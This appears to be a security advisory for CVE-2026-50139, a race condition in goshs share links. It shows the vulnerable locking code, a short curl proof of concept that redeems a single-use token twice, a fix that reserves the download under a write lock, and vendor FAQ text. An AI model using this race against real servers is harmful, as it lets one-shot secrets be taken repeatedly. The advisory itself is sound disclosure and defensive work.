CVE-2026-50139

goshs: Share-link ?token=… redemption races past download limit

fs.sharedLinksMu.RLock()
entry, ok := fs.SharedLinks[token]
fs.sharedLinksMu.RUnlock()                       // <-- released here

if entry.DownloadLimit > 0 || entry.DownloadLimit == -1 {
    // ...serve file...                          // <-- whole transfer happens unlocked
}

fs.sharedLinksMu.Lock()                          // <-- re-acquired only now
current.Downloaded++
if current.Downloaded >= current.DownloadLimit { delete(fs.SharedLinks, token) }
fs.sharedLinksMu.Unlock()

goshs -p 18000 -d /tmp/r -b admin:pw &
echo data > /tmp/r/f.txt

# operator issues a one-shot share
SHARE=$(curl -su admin:pw "http://localhost:18000/f.txt?share&limit=1")
TK=$(echo "$SHARE" | sed -n 's/.*token=\([^"]*\)".*/\1/p')

# attacker races two redemptions
curl -so /dev/null -w "%{http_code}\n" "http://localhost:18000/?token=$TK" & \
curl -so /dev/null -w "%{http_code}\n" "http://localhost:18000/?token=$TK" & \
wait
# observed: 200 / 200 (both succeed) -> limit=1 redeemed twice

A "single-use" share intended to deliver a one-shot secret can be redeemed N times by N concurrent clients. Combined with any token-leak vector (mail forwarding, browser history, intercepted link, etc.) this multiplies the exfiltration window.

Multiple concurrent operations access a shared resource without proper synchronization, producing unpredictable results depending on timing. Typical impact: TOCTOU exploits, data corruption, or privilege escalation.

CVE-2026-50139 has a CVSS score of 5.9 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.1.0); upgrading removes the vulnerable code path.

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Reserve under the write lock before serving, refund only if the serve fails:

fs.sharedLinksMu.Lock()
entry, ok := fs.SharedLinks[token]
if !ok || time.Now().After(entry.Expires) ||
   (entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit) {
    fs.sharedLinksMu.Unlock(); http.NotFound(w, r); return
}
entry.Downloaded++
if entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit {
    delete(fs.SharedLinks, token)
} else {
    fs.SharedLinks[token] = entry
}
fs.sharedLinksMu.Unlock()
// ...serve...

Add a regression test that races two requests against a limit=1 token and asserts exactly one 200.

Reporter: Nishant Verma. Reproduced against goshs v2.0.9 (commit 8fc1e91) on 2026-05-27.

1. What is CVE-2026-50139? CVE-2026-50139 is a medium-severity race condition vulnerability in goshs.de/goshs/v2 (go), affecting versions <= 2.0.9. It is fixed in 2.1.0. Multiple concurrent operations access a shared resource without proper synchronization, producing unpredictable results depending on timing.
2. How severe is CVE-2026-50139? CVE-2026-50139 has a CVSS score of 5.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of goshs.de/goshs/v2 are affected by CVE-2026-50139? goshs.de/goshs/v2 (go) versions <= 2.0.9 is affected.
4. Is there a fix for CVE-2026-50139? Yes. CVE-2026-50139 is fixed in 2.1.0. Upgrade to this version or later.
5. Is CVE-2026-50139 exploitable, and should I be worried? Whether CVE-2026-50139 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-50139 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-50139? Upgrade goshs.de/goshs/v2 to 2.1.0 or later.

Other vulnerabilities in goshs.de/goshs/v2